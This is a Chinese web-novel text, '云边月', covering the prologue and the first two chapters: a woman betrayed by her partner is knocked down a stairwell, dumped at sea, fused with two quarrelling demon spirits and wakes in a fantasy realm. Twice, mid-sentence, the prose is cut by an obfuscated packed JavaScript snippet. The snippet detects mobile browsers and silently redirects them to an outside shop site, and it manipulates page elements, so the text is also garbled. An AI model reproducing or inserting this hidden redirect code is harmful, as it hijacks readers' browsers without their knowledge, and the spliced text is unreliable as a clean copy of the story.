《云边月》
1. 楔子
她为复仇淬炼科学之刃,他为守护重拾月光之誓。
当代码注入仙诀,当理性照见神话,这云边孤月照亮的,是千古轮回的业火,还是两个灵魂为彼此重写的法则?
词曰:
行香子云边月
陋室苔侵,衰柳霜浓。
转头盼、笏满成空。
金枷玉锁,缚尽豪雄。
叹云边月,风里烛,浪头篷。
朱楼夜宴,紫陌春骢。
怎禁他、雨横风汹。
黄土蒙尘,红粉蒿蓬。
终为谁忙,何曾悟,醒来钟。
佛曰众生皆苦,道言天地不仁,却在功名利禄的迷障前殊途同归。佛法以“空”为镜,照见八万四千尘劳皆是虚妄,那金殿琼楼不过五蕴炽盛之业火;道法以“无”为舟,渡尽三十六重天外方知,紫绶朱衣终究是撄扰心斋的赘物。你看那云边孤月,千古朗照,可曾为谁暂驻琉璃光影?
这首行香子乃是樗林居士所作。叹昔年陋室苔痕犹浸着寒士墨香,转瞬已是笏满朝堂的煊赫。谁知金枷玉锁缚尽千古豪雄,朱楼夜宴醉倒多少痴儿。忽而
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998666|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
风雨汹至,方见紫陌春骢踏碎成尘,红粉胭脂零落作蒿蓬。恰似风里残烛徒劳明灭,浪头孤篷无主浮沉。
而今重读《行香子》字字泣珠,始知“终为谁忙”是勘破大千的禅锋。那醒世钟声撞破太虚时,方见得:玉阙丹墀原是冰雪砌,凤冠霞帔终作蜃气收。纵有经纬天地之才,倾覆乾坤之势,到底逃不过云边月冷照荒丘。
且看这镜花水月一场,风过疏竹不留声,雁渡寒潭不留影。唯有天心明月犹在云边浅笑,照着千古痴人,继续在无岸苦海里,打捞那永不会圆满的幻梦。
2. 第一回 星陨海天劫波起
雨,在黄昏时分便不请自来。
它不是那种骤急的暴烈,而是绵密、阴冷的淅沥,执着地敲打着都市丛林的玻璃幕墙,将远方天际线的轮廓晕染成一片模糊的灰霾。祝君竹站在机场抵达大厅的玻璃门前,看着窗外被雨水扭曲的世界,内心一丝难以言喻的压抑悄然弥漫,如同这无所不在的湿气,渗入肌理。她素来不喜喧闹与人潮,连归来也选择这样孤清的姿态,如同一滴无声融入江河的水。
这次南下攻坚,原本计划三日的技术论证与架构梳理,她只用了一天半便尘埃落定。对方公司那位以严苛著称的技术总监,从最初会议桌上毫不掩饰的倨傲,到最终送行时眼中无法伪装的叹服,其间的转变清晰如镜。临行前,对方执意要设宴,言辞恳切,被她以“家中另有要事”淡然婉拒。于她而言,无谓的推杯换盏与场面寒暄,远不及归途中静听一夜雨声,更能涤荡心神。
她只拖了一个小巧的登机箱,箱体是冷静的深灰色,一如她的人,简洁、利落,不带任何冗余的装饰。箱子里,除了几件必备的换洗衣物和那台从不离身的、加密等级最高的笔记本电脑,还多了一个深蓝色的丝绒方盒。盒子里,安静地躺着一块瑞士手工打造的机械腕表,设计极致简约,却内蕴繁复精准的机芯。今日,是她与庞廉仁相识满一年的日子。这个时间节点于她,标记的并非世俗意义上的浪漫,而是两个独立个体在人生轨道上交汇、并行的一段值得记录的里程。选择腕表作为纪念,源于数月前一次深夜加班后,庞廉仁揉着眉心,半是玩笑半是感慨地说过:“君竹,你对待时间的态度,总让我觉得,每一分每一秒都像是被精心切割过的钻石,不容虚掷。”她当时未置可否,只是微微颔首,但这句话,她记下了。她觉得这份礼物恰如其分——既是对他彼时话语的一种无声回应,也暗合了她对这段关系“彼此砥砺,共同精进”的审慎期许。或许,也包含着些许庞廉仁对她的知遇之情。
她没有通知任何人接机,她从杂志上看到,感情需要偶尔的小惊喜,虽然她自己并不喜欢刻意。习惯于掌控节奏的她,更享受这种来去自如的静谧。乘坐机场快线转入市区,霓虹在湿漉漉的车窗上拉出长长的、迷离的光带。她没有直接回那个位于城北、只有基础功能的公寓,而是转乘出租车先驶向了公司所在的CBD区域。已是晚上九点三刻,鳞次栉比的写字楼大多已陷入黑暗,只有零星几个窗口还零星点缀地亮着,像是漂浮在雨夜中的孤独灯塔。她记得庞廉仁在昨夜的简短通话中提过,今晚会留在公司,处理与“星辉集团”下一轮融资的关键文件。她想亲手将这份提前签署、意味着项目取得阶段性突破的合作意向书,连同那份小小的、承载着期许的礼物交给他。这在她心中,是一种属于他们两人之间,于寂静处共享的、并肩作战的仪式感。
大厦的地下停车场空阔而安静,空气里弥漫着轮胎碾过潮湿地面留下的淡淡橡胶味和清洁剂的气息。她一眼就看到了庞廉仁那辆熟悉的黑色轿车,停在他的固定车位上,车身上挂着细密的水珠。一切如常。唯一不同的是,旁边停了一辆艳粉色的法拉利跑车,在夜晚的灯光下,显得刺眼。
“这颜色好俗!”
她拨了一下散落的头发,手指无意识抚过颈间母亲遗留的月牙形旧玉坠,不知为何心中徜徉起一种对这两辆车的厌恶感。她提着登机箱,没有走向电梯间,而是熟门熟路地拐进了侧方的消防通道。这是她多年的习惯,走楼梯,既能避开电梯轿厢里的拥挤与无谓的寒暄,也能在这段独处的、略带沉闷回声的上升过程中,将纷杂的思绪逐一归拢、沉淀。她的办公室在五楼,而庞廉仁的,在视野更开阔的六楼。
高跟鞋踩在磨砂水泥台阶上,发出清晰而规律的“嗒、嗒”声,在狭小的空间里回响。箱底的小轮与地面摩擦,是另一种细碎的沙沙声。她的思绪还沉浸在刚刚结束的项目里,几个可以优化的算法节点在脑中盘旋。
走到六楼,她推开沉重的防火安全门,走进铺着地毯的办公区走廊。与楼梯间的粗犷判若两个世界,这里灯光柔和,空气中有淡淡的香氛气息。整层楼很安静,只有她自己的脚步声和轮子滑过地毯的闷响。
庞廉仁的办公室在走廊尽头。随着距离接近,她隐约听到里面似乎传出了交响乐并夹杂着女性的谈话声。这让她有些意外,这个时间,除了他,还会有谁?
就在她准备伸手敲门时,里面突然提高的音量让她动作一顿。那不是庞廉仁平时沉稳的商务腔调,而是一种她从未听过的——混合着谄媚、轻浮,甚至带着点炫耀的油滑。
“……宝贝儿,你把心稳稳放回肚子里。她那个人,说好听了是纯粹,说难听了就是好骗,一颗心全拴在那些代码和模型上……”
祝君竹的脚步定在原地。那个“她”,指的是谁?
透过厚重的实木门板,谈话声混杂着高遏行云的贝多芬第五交响曲听起来有些模糊,但足够听清每一个让她血液冻结的字眼。她下意识地后退半步,背靠冰冷的墙壁,感觉自己像个不该出现在这里的偷听者,却又被钉在原地,动弹不得。
“稳住她,就等于攥住了我们公司最核心的技术命脉,谁也撬不走。等这笔从‘星辉’那边套出来的资金彻底洗干净,顺利转到海外账户,咱们的婚事一办,媒体一公布,那就是强强联合,板上钉钉……”
一个娇嗲得有些发腻的女声打断了他,带着刻意凸显的醋意:“哼,你说得轻巧,人家可是天才少女,虽然不太会打扮,但长得也算清秀,你就真没动过别的歪心思?”
庞廉仁嗤笑一声,那笑声里充满了毫不掩饰的鄙薄:“动歪心思?一个不解风情的工具人罢了。脑子里只有二进制和逻辑门,还有对自然科学的伟大探索!脾气得像块武侠小说里的万年寒铁,清高得都快成出土文物了。整天待在博物馆的玻璃罩子里,牵手已经是最亲密的接触了。还有什么歪心思?”
“哈哈哈哈哈!”那女子娇笑的声音令人肉麻。
“你知道她家书架里都是什么书吗?”庞廉仁继续以她为笑料。
“什么书?”
“什么《广义相对论》,什么《量子物理》,这是正常人看的书吗?上次我特意托人从欧洲带回来的限量款手袋,你知道她什么反应?就只是淡淡地笑了笑,说了声‘谢谢,让你破费了’,然后随手放在办公室角落吃灰,再没见她碰过。”
“还是我更有情趣对吗?”
“那是!她和我小学班主任那个上世纪的大妈一样。哪像我的阿瑶你这么知情识趣,妩媚动人?娶你,是庞家与你们星辉集团的强强联合,是商业版图的扩张。利用她,不过是物尽其用,商业手段而已。”
“哼!我可知道你的德行,你在她面前也没少花言巧语吧?到时候你不会不舍得吧?”
“怎么会呢?等她的价值被榨干,自然有办法让她悄无声息地出局。再说了,那份关键的‘阴阳合同’和虚拟交易路径,可都是经她那双‘金手’优化过的,逻辑严密,天衣无缝。真到了万不得已的时候,她不就是最完美、最可信的‘技术责任人’么?谁能想到这样一个看起来冰清玉洁的人,会为了利益铤而走险呢?哈哈哈……那个词叫什么来着?‘背锅侠?’……哈哈哈”
庞廉仁口中的每一个字,都像淬了剧毒的冰锥,先是在她耳膜上炸开冰冷的刺痛,随即迅猛无比地贯穿而下,直抵心脏最深处。那一瞬间,祝君竹感觉全身的血液仿佛逆流,四肢百骸刹那间变得冰凉、僵硬。她原本平稳呼吸的节奏被打乱,胸口像是被无形的巨力狠狠攥住,又猛地抽空了所有空气,一种失重般的虚脱感从脚底蔓延开来。
原来,所有的“真诚欣赏”,所有的“灵魂共鸣”,所有的“并肩开创未来”,都是一场精心策划、演技精湛的骗局。她引以为傲的才华与专注,在对方眼中,不过是最好拿捏利用的工具;她坚守的原则与底线,成了对方茶余饭后调侃“出土文物”的笑料;而她怀中那份刚刚还带着体温的、关于时间与成长的期许,此刻化作一块烧红的寒铁,狠狠烙烫在她的心口,滋啦啦地冒着屈辱与绝望的青烟。
非法侵占、洗钱、阴阳合同、嫁祸顶罪……这些她平生最鄙夷、在职业道德底线之下不知多少层的肮脏勾当,竟然就在她全身心投入、视若理想的事业核心悄然滋生、蔓延。而她,这个所谓的“技术核心”,差一点就成了助纣为虐的关键一环,甚至是被推出去承担一切罪责的替死鬼!
极致的愤怒并没有像火山般喷发,反而以一种可怕的速度在她体内冷凝、沉淀。她没有浑身发抖,没有泪如雨下,只有一种近乎残酷的清醒,如同手术刀般精准地剥离了所有残存的情感泡沫。她深深地、缓慢地吸了一口气,那冰冷潮湿的空气携带着消防通道里特有的微尘气味,直灌入肺叶,强行压下了所有翻腾欲呕的生理反应和汹涌的情绪浪潮。
她伸出手,平静地推开了那扇虚掩的、仿佛隔绝了两个世界的门。
门内的景象映入眼帘。庞廉仁的办公室只开了几盏氛围射灯,光线暧昧,空气中弥漫着令人作呕的甜腻。他衣衫不整地半靠在宽大的真皮沙发上,领带松垮,衬衫最上面的两颗扣子开着。一个穿着性感吊带裙、妆容精致的年轻女子——正是星辉集团的千金赵梦瑶,几乎整个人腻在他怀里,姿态亲昵不堪。沙发旁的茶几上,还放着喝了一半的红酒和高脚杯,当然,还有一只红色的高跟鞋。
她的突然出现,如同鬼魅般无声无息,将室内旖旎而污浊的氛围瞬间冻结。两人如同受惊的兔子般猛地弹开,手忙脚乱地拉扯着凌乱的衣物试图遮羞,脸上写满了措手不及的慌乱与惊惧。
“君……君竹?!”庞廉仁第一个反应过来,声音因极度意外和心虚而尖锐走调,他猛地站起身,差点带倒桌上的酒杯,“你……你怎么回来了?!不是说明天下午的航班吗?”
祝君竹的目光平静地扫过现场,掠过沙发上那件刺眼的黑色蕾丝内衣,没有在赵梦瑶那张写满惊恐和一丝嫉妒的脸上停留一秒,最终,如同两潭深不见底的寒泉,直接落在庞廉仁那张强自镇定却难掩苍白的脸上。那眼神里,曾经有过的信任已然消失殆尽,只剩下一种洞穿一切伪饰后,冰冷的、彻底的失望,以及一种居高临下的审视。
“我回来辞职。”她的声音不高,却异常清晰、平稳,每个字都像冰珠落玉盘,在这片狼藉的空间里敲打出令人心寒的回响。
“从现在起,我与天行科技,再无任何瓜葛。我经手过的所有项目代码、核心算法及数据日志,我会依法进行证据固定与保全。并保留对一切可能存在的侵权行为及栽赃陷害行为,追究法律责任的权利。”
她没有质问“为什么”,没有斥责“无耻”,甚至没有再多看一眼那场不堪入目的男女纠缠。她的骄傲与理性,让她不屑于在这片情感与道德的废墟上,浪费任何一丝多余的表情和言语。她直接、精准地刺向了他最恐惧、最脆弱的核心——技术剥离,法律追责。
说完,她毫不犹豫地转身,握住门把手,准备离开这个令人窒息的地方。背影挺直,决绝得没有一丝留恋。
“等等!君竹!你听我解释!”庞廉仁彻底慌了神,脸上血色尽失。他太清楚祝君竹这句话的分量。她不仅意味着要带走公司赖以生存的技术命脉,更掌握着那些足以让他、让赵家、让整个“星辉集团”身败名裂、万劫不复的秘密!他跌跌撞撞地追上来,试图抓住她的手臂,声音因恐惧而变调。
“事情不是你想的那样!我和阿瑶只是……只是逢场作戏!主要是为了稳住星辉那边!我们需要他们的资金……”
庞廉仁压低声音,生怕赵梦瑶听到。
“与我无关。”
祝君竹甚至没有回头,只冷冷地甩过来四个字,如同四把冰刀,斩断了他所有试图编织的谎言。她的目光快速扫过旁边电梯显示屏上正从顶层下降的数字,最终定格在“B2”(地下二层停车场)。她脚步没有丝毫犹豫停顿,径直走向向下的楼梯间。这种绝对的冷静和毫不拖泥带水的决绝,比任何歇斯底里的怒骂都更让庞廉仁感到刺骨的恐惧。
窗外的雨下得更大了,密集的雨点狂暴地砸在消防通道外侧的玻璃窗上,发出连续不断的、令人心烦意乱的噼啪声响。不知是谁为了通风,将走廊尽头的一扇窗户开了一条缝,冷风裹挟着雨丝的湿气灌入,带来一股寒意。
空旷的楼梯间里,两人错落的脚步声和登机箱轮子滚动的噪音,在混凝土墙壁之间碰撞、回响,显得格外刺耳。
庞廉仁呼吸急促,心脏狂跳,肾上腺素飙升带来的虚汗浸湿了后背。他在四楼与五楼之间的缓步台追上了祝君竹,情急之下,也顾不得许多,一把死死抓住了她纤细的手腕——力道大得指节泛白,甚至能感觉到他无法控制的、剧烈的颤抖。
“你不能走!听见没有!”他几乎是吼出来的,声音却因极度的恐惧和刻意的压抑而发颤,像是怕被楼下的保安听见,又像是怕她真的就此消失,从此手握利剑悬于他的头顶,“那些数据!那些核心模型!你不能带走!那是公司的财产!是……是我的!”
他喘着粗气,眼神慌乱地四处游移,试图抓住最后一根救命稻草,语气从威胁迅速滑向哀求:“钱!我给你钱!你要多少?开个价!只要你能把该留下的东西留下……并且签一份保密协议……多少钱都不是问题!一千万?两千万?你说个数!”
祝君竹终于停下了脚步,但没有回头。她垂下视线,落在自己被他紧紧攥住、已经泛起红痕的手腕上,眼神里没有痛苦,只有一种被污秽触碰般的极度厌恶。他那曾温柔为她别过发丝的指尖,此刻却像是扼住了她的咽喉。
“放开。”她再次开口,只有这两个字,声音比刚才更冷,仿佛能冻结空气。
她手腕猛地一拧,运用巧劲,试图挣脱。庞廉仁下意识地松了一下力道,却又在瞬间意识到绝不能放她走,再次更用力地死死攥住,指甲几乎要嵌进她的皮肤里。额头上沁出的冷汗顺着鬓角滑落,他的嘴唇哆嗦着,眼神里充满了穷途末路的疯狂与哀求,像一只被逼到墙角、走投无路的老鼠。
就在这挣扎与对抗的瞬间,或许是脚下被祝君竹的登机箱绊了一下,或许是因为心神激荡、脚步虚浮,庞廉仁惊叫一声,整个人失去平衡,不受控制地踉跄着向前猛扑过去——那并非有意的攻击,更像是溃逃中绝望的、失控的拉扯。他肥硕沉重的身躯,带着全部的恐慌和体重,重重地撞在了祝君竹的后背上!
祝君竹正穿着为了见客户而搭配的、鞋跟细窄的职业高跟鞋,脚下的水泥台阶早已被窗外飘入的雨水和两人鞋底带入的湿气润湿,变得格外湿滑。被他这蕴含了全身力气和恐慌的猛烈一撞,她只觉得一股巨大的力量从背后传来,脚下瞬间一滑,重心彻底失去!
她甚至没能发出一声完整的惊呼,只来得及感受到一股失控的眩晕,整个人便不受控制地向后仰倒!头部在翻滚中,毫无缓冲地、结结实实地撞击在冰冷坚硬的水泥台阶那尖锐的直角棱线上!
一阵低沉的闷响,短暂地压过了窗外的雨声。
世界在她眼前急速旋转、模糊,最后定格在天花板上那盏散发着惨白光芒、纹丝不动的吸顶灯,以及楼梯上端庞廉仁那张因极度恐惧而扭曲变形、放大到极致的脸。随着滚落,所有的光线、声音、感知,如同被拉下的闸门,瞬间切断,沉入无边无际的、冰冷的、永恒的黑暗。
唯有窗外那连绵不绝的雨声,依旧固执地、冷漠地充当着这一切的背景音,仿佛在吟唱着一曲无声的挽歌。
庞廉仁僵立在原地,大脑一片空白,有几秒钟的时间,他完全无法思考。直到那声闷响的回音彻底消散,他才如同被烫到一般,猛地回过神来,几乎是颤抖着爬下楼梯蹲下身,伸出两根颤抖不已的手指,小心翼翼地探向祝君竹的鼻息。
那鼻息是微弱的,若有若无的,冰凉的……几乎感觉不到了。
“我……我杀人了?!我杀了祝君竹?!”这个念头如同最恐怖的梦魇,瞬间攫住了他的全部心神,让他几乎窒息。不!不能是杀人!是意外!对,是她自己没站稳!是意外!
巨大的恐慌催生了畸变的“冷静”。他像疯了一样,连滚带爬地冲回六楼的办公室,甚至顾不上理会刚刚穿戴整齐的赵梦瑶。他冲进杂物间,手忙脚乱地扯出一个平时用来装替换下来废旧打印机的大号黑色防水尼龙袋,然后又疯子般冲回楼梯间。
雨水和冷汗混合在一起,糊了他满脸,让他看起来狰狞又可悲。他咬紧牙关,用尽全身力气,将那具尚存一丝微弱余温、但已完全失去意识的柔软躯体,以一种极其别扭的姿势塞进了那个巨大的、仿佛能吞噬一切的黑色袋子里,然后颤抖着拉紧了拉链。
他将沉重的尼龙袋扛在肩上,踉踉跄跄,几乎是连跌带撞地从消防通道一路向下,冲入空旷无人的地下停车场。他慌乱地环顾四周,确认没有目击者后,迅速打开后备箱,将那黑色的、人形的长袋粗暴地塞了进去,重重关上箱盖。
发动机在雨声中发出沉闷的轰鸣,车子像一支离弦的箭,疯狂地蹿出停车场,撕裂雨幕,朝着城外那片能吞噬一切光芒与秘密的、黑暗而辽阔的大海疾驰而去。
“路港东面那片海有悬崖,水深也够,人少,抛入大海前前往袋子里塞几块礁石,以免浮上来。”这是庞廉仁开车时脑子里反复想的事情。他一直都避免想“尸体”、“抛尸”等词汇,以免扰乱心神。
雨,依旧不知疲倦地下着,冰冷无情地冲刷着楼梯上那抹淡淡的、即将被彻底洗净的暗红血迹,仿佛想要奋力抹去今夜在这方寸之地发生的一切罪恶与悲鸣。
而城市,在这无尽的雨幕之下,依旧按照自己的节奏闪烁着霓虹,稀疏的车流,对刚刚发生的一场星辰陨落,漠不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998667|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
关心,无动于衷。
……
海水刺骨的冰冷,以及无处不在的、令人绝望的窒息感。冲击着祝君竹的感官。
庞廉仁最后那张因极度恐惧而扭曲变形的脸,占据了她全部视野,那张如同一个永恒的噩梦烙印,在她即将彻底涣散的意识中,烙下最后一道冰寒彻骨的印记。
就在她的灵魂仿佛要被拽入那永恒、寂静的黑暗深渊,万劫不复的刹那——
一股源自她生命本源最深处、早已被漫长轮回尘封遗忘的力量,如同在地壳下沉寂了万载的火山,被这生死之间的大恐怖、大绝望猛然引动、激发!一道微不可察、却足以扭曲光线与空间基本规则的奇异涟漪,以她濒死的躯壳为中心,悄然、却又霸道地荡开!在她这具介于存在与消亡之间的、“容器”最为脆弱的时刻,于坚实无比的现世的空间壁垒上,硬生生“撕”出了一个极其短暂、极不稳定的微小破痕!
两股异常的力量,透过裂隙,被祝君竹所吸引,直接融入到她的经脉之中。
“臭长虫!你除了会盘在你那阴湿腥臭的洞府里发霉自恋,还会点什么正经本事?那株绛霞明心兰生于千丈悬崖之巅,吸的是九天清辉、月魄精华,钟灵毓秀,合该是我这般超逸灵动、仙姿卓然之辈所有!你粗笨蠢长,一身腥臊之气,也配觊觎这等灵物?”
一个娇脆悦耳、却言辞泼辣犀利的声音,带着毫不掩饰的讥讽与挑衅,如同惊雷般,直接在祝君竹近乎停滞、一片死寂的识海最深处炸开!
“呵,无耻骚狐!巧言令色,偷窃之行竟被你说得如此清新脱俗!那绛霞明心兰根系深深缠绕于本君蜕鳞关键之处的本源灵石而生已经五百年了,它所汲取的,乃是本君蜕旧迎新时溢出的最精纯的生命精华!你趁我闭关紧要关头、神识与外界的屏障略有松动之际,行那鼠窃狗偷之下作勾当,如今还有脸在此颠倒黑白,大放厥词?速速将兰草归还,本君或可考虑留你一条全尸!否则,今日必抽了你的狐筋来做一条束腰的绦带,看你可还能嘴硬!”
另一个冰冷、沉浑,带着古老蛮荒气息的声音怒斥回去,字句间森森寒意弥漫,杀机四溢。
两股性质截然不同、属性完全相悖,却同样浩瀚恐怖、远超此世理解的力量洪流——一股灼热狂放如地心熔岩,千回百转,变幻无常;一股阴寒厚重如万载玄冰,蛮横霸道,亘古不变——正顺着那不应存在的“破痕”,被某种混乱的时空牵引力与她们彼此争斗产生的能量漩涡,硬生生地被她体内某种“空洞的吸引力”拽入了祝君竹那几乎完全僵死、经脉寸断的脆弱躯壳之内!
“呸!老蛇妖!少在那里大言不惭!你那身腥气都快把这仙草腌入味了,我采了它,是替它解脱,免遭你的荼毒!还你的?行啊,待我回去将它炼成三转灵丹,或许剩下的那些药渣,可以大发慈悲赏给你垫你那腥臭难闻的窝!”
“牙尖嘴利!本君今日就替你青丘一脉那不知管教后辈的老祖宗,好好教训教训你,什么叫天高地厚,规矩方圆!看我把你这一身引以为傲的骚毛一根根拔个精光,再将你光溜溜地扔回青丘山门,看你可还有脸自称什么‘苍陵君’!”
“来啊!谁怕你这根□□子不成?正好本君还缺一条的蛇皮带装人牲,你这身皮相虽粗糙了些,将就着也能用!待你被我剥了皮,拖着那光溜溜、□□般的身躯蛄蛹回你那腥臭难闻的洞穴,看你还有何颜面,再顶着‘升卿’之名招摇过市!”
这两位不知来自何方的大妖骂战正酣,激烈程度丝毫不逊于力量的交锋。她们那毁灭性的力量在祝君竹这具凡俗的、濒临解体的躯壳内激烈冲撞、撕扯,让她本就如同风中残烛的生命之火更是雪上加霜,加速摇曳,几近熄灭。
然而,也正是在这具躯壳即将彻底崩溃的前一瞬,她们两位,几乎同时察觉到了周遭环境的极端不对劲,以及这具“载体”本身的诡异状态。
“等等……这是什么污浊不堪的鬼地方?灵气稀薄得令人发指,法则也如此脆弱……不对!我们这是闯到哪个犄角旮旯的下界来了?!”自称苍陵君的那位,声音里首次带上了一丝难以掩饰的惊疑与嫌恶。
“闭嘴!蠢狐狸!先别吵!你快感知一下周围!还有……这具凡人的躯壳是怎么回事?!我们怎么会被扯进这里来的?!”升卿君那冰冷的声线里也透出了前所未有的凝重与一丝不易察觉的慌乱,显然也意识到了处境的极度不妙。
她们那远超此界上限的感知能力,下意识地向四周蔓延,瞬间便触及了此方天地最核心、最本源的运行法则。就如同水滴入了滚烫的油锅——
“轰隆隆——!!!”
原本只是阴沉降雨的天空,骤然间风云突变,乾坤失色!铅灰色低垂的云层如同被一只无形的宇宙巨手疯狂搅动,眨眼间汇聚成一个笼罩了整个海岸线的、巨大无比的、缓缓旋转的压抑漩涡!一种煌煌然、漠然无情、如同实质般的恐怖天威,如同亿万钧重压,轰然降下,精准无比地锁定了海中那道渺小得可以忽略不计、却承载着两个足以颠覆此界平衡的“异数”的身影!
“是……是紫霄诛邪神雷!这方小世界的天道法则不容吾等存在!它要将我们连同这载体一同抹杀!”苍陵君的声音里充满了清晰的、源自生命本能的恐惧。
“不想千年苦修、万载道行今日尽数葬送在这等污浊之地,就立刻给本君闭嘴!合力!”升卿君发出一声怒吼,再也无暇去计较什么仙草、什么皮毛,“这女娃的躯壳是吾等此刻唯一的屏障!将力量导入她体内,借她一丝与此界同源的气息,瞒天过海!快!”
生死存亡的刹那,之前还势同水火的狐火与蚺元,以前所未有的速度、摒弃了所有隔阂与属性冲突,开始疯狂地交融、压缩,勉强在祝君竹的体表之外,构筑起一道红蓝交织、明灭不定、薄如蝉翼却蕴含着惊人韧性的光茧,将她连同体内那两股外来力量一同包裹起来。
“咔嚓——!!!”
一道宛如远古巨龙咆哮、直径堪比百年巨树的煌煌紫色神雷,纯粹由毁灭意志凝聚而成的天罚之矛,撕裂了层层空间与雨幕,带着裁决一切、净化一切的无上威严,朝着海面上那一点微光,直劈而下!
“砰——!!!”
雷光精准无比地贯入海中,正中目标!
难以言喻的、超越了肉身与灵魂承受极限的极致痛苦,瞬间将祝君竹那残存的、微弱的意识彻底吞噬、撕裂。她的身体,成了最残酷、最狂暴的能量战场,原本就脆弱不堪的经脉在这内外交攻的毁灭性能量对撞中,寸寸碎裂,化为齑粉,又在两股妖王级本源力量的强行支撑、修复与融合下,诡异地维系着一种岌岌可危的、不灭的平衡。
彻底失去意识前,她胸前的玉坠突然发烫,化作一道微光护住了她的心脉。她仿佛看见一位黄裙的宫装女子被锁链缚于祭坛,一位英姿少年身影在远处回首。仿佛听见一个苍老的声音:“回来吧,该回来了!”
不知过去了多久,仿佛只是弹指一瞬,又仿佛是经历了无数个世纪轮回的煎熬。那毁灭性的、仿佛无穷无尽的紫色雷光,终于如同潮水般缓缓退去,消散于天地之间。而祝君竹的体内,那两股外来的、狂暴的妖王之力,也如同被这场天罚彻底榨干了凶性、打散了锋芒,变得前所未有的沉寂、驯顺,与她自身顽强的求生本能、那丝因生死刺激而觉醒的奇异天赋,以及天道在雷罚后似乎作为“补偿”或“平衡”而涌入的异常磅礴浩瀚的原始能量,开始了一种缓慢而不可逆的、水乳交融般的融合与沉淀过程。
……
她猛地睁开了眼睛。
没有预想中的海水呛咳,没有沉沦深渊的窒息感。身下传来的,是柔软而微带潮湿润意的风的触感,鼻尖萦绕的,是全然陌生、却浓郁到化不开的奇异草木清香,夹杂着某种从未闻过的、清甜沁人的花香。
眼前淡紫色的、仿佛永恒晨曦或黄昏的天幕,低垂而神秘,其间有柔和的光带如极光般缓缓流淌。周围缭绕着乳白色的、蕴含着充沛灵气的薄雾。偶尔,有肋生光翼、形态优美的奇异生灵,拖着点点星辉,悄无声息地划过天际……
一切都陌生得如同最荒诞离奇的幻梦,却又如此真实地呈现在她的感知里。
这里是哪里?
她抬起双手看了看,白皙依旧,却仿佛蕴含着某种陌生而又与她血脉相连的、浩瀚而沉寂的力量。脑海中,似乎还隐约回荡着“骚狐狸”和“老蛇妖”那场戛然而止、气急败坏却又透着几分狼狈的互骂余音。
恩怨情仇,尔虞我诈,乃至那场冰冷的抛尸与濒死的绝望,在这一刻,仿佛都成了遥远模糊的前尘幻影,隔着一层看不真切的毛玻璃。
她长吁了一口气,这条命,确确实实,是从鬼门关前,被以一种她无法理解的方式,硬生生地捡回来了。
等等,感觉不对……身体,好像在不受控制地……下落?
3. 第二回:鹿鸣幽谷客惊心
轰~!
痛。
并非尖锐的刺疼,而是如同被拆散了全身骨骼、碾碎了每一寸肌肉后,再勉强拼凑起来的、弥漫性的钝痛与酸软。意识如同沉在深水底的碎片,挣扎着上浮,试图冲破那层厚重的、隔绝了感知的膜。
祝君竹的第一个清晰念头是:我没死?
紧随其后的,是更强烈的困惑:身下不是预想中冰冷刺骨的海水,也不是医院消毒水的味道,更没有庞廉仁那张令人作呕的脸。取而代之的,是一种……奇异的柔软和干燥,鼻尖萦绕着淡淡的、像是阳光晒过的干草混合了某种清苦木质的香气,与她记忆中海水的咸腥、都市的尘嚣、或是任何已知环境都截然不同。
她尝试动一下手指,剧烈的酸痛感立刻从指尖蔓延到肩胛,让她忍不住发出一声极轻的、带着痛楚的抽气声。眼皮也沉重得如同灌了铅,她用尽力气,才勉强掀开一条细缝。
模糊的视野首先捕捉到的,是上方……一个不规则的、巨大的窟窿。透过那窟窿,能看到一片淡紫色的、仿佛永恒凝固在黄昏时分的天空,没有太阳,也没有月亮,只有柔和却不明亮的光均匀地洒落。几缕细微的尘埃在光柱中缓缓浮动,如同迷途的精灵。
窟窿的边缘,参差不齐地裸露着断裂的木质椽子和灰黑色的瓦片,显然,这里原本应该有个屋顶。
所以……我是从那里掉下来的?祝君竹混沌的脑子艰难地运转着。从海里……掉到了某个……有屋顶的地方?这逻辑链条断裂得离谱。
她试图转动脖颈,观察四周,这个细微的动作却牵扯到全身的伤痛,让她又是一阵龇牙咧嘴,额角渗出细密的冷汗。也就在这时,她眼角的余光,瞥见了不远处,似乎……有一个人影。
她的心脏猛地一缩,警惕心瞬间飙升到顶点。是庞廉仁追来了?还是……这里的主人?
她强迫自己冷静下来,用最隐蔽的方式,尽可能扩大视野范围。
这里似乎是一间……颇为简陋的居室。陈设简单到近乎贫寒。靠墙立着一个原木色的书架,上面整齐地码放着一些竹简和线装书册,旁边是一张同样材质的书案,案上放着笔墨纸砚,一盏样式古朴的油灯,还有一本摊开的书。书案的角落,甚至还有一个插着几枝不知名野花的小陶瓶,为这清苦的环境增添了一抹意外的生机与雅趣。
而那个人,就站在离床榻约莫七八步远的地方,背对着她。
他身形颀长,穿着一件洗得有些发白的青灰色布袍,宽袍大袖,样式古朴,绝非现代服饰。墨色的长发用一根简单的木簪松松挽起,些许碎发垂落在颈侧,显得随性而又不羁。他此刻正微微仰着头,望着屋顶那个巨大的破洞,从这个角度,祝君竹只能看到他清瘦的侧脸轮廓和一小部分下颌线,以及他负在身后、指节修长而干净的手。
他站在那里,姿态并不紧绷,反而有种……一种难以言喻的沉静,仿佛屋顶被砸穿、家里天降异物,于他而言,不过是如同窗外风吹叶落般,一件需要稍加留意的小事。
